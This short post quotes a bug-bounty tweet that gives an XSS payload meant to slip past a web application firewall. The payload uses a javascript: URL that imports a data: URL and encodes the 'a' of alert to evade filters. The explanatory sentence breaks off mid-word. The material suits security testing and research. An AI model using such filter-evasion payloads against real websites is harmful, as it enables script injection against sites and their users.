WAF bypass by Mr_Sh0wan

This XSS bypass payload utilizes the JavaScript import function to execute an alert(origin) function. The use of Unicode encoding in the payload (\

Xss waf bypass tip:
are alert(), prompt(), etc, filtered?
Try using this:
javascript:import('data:text/javascript,u0061lert(origin)')#BugBounty #CyberSecurity

— ????? ????? (@Mr_Sh0wan) November 25, 2024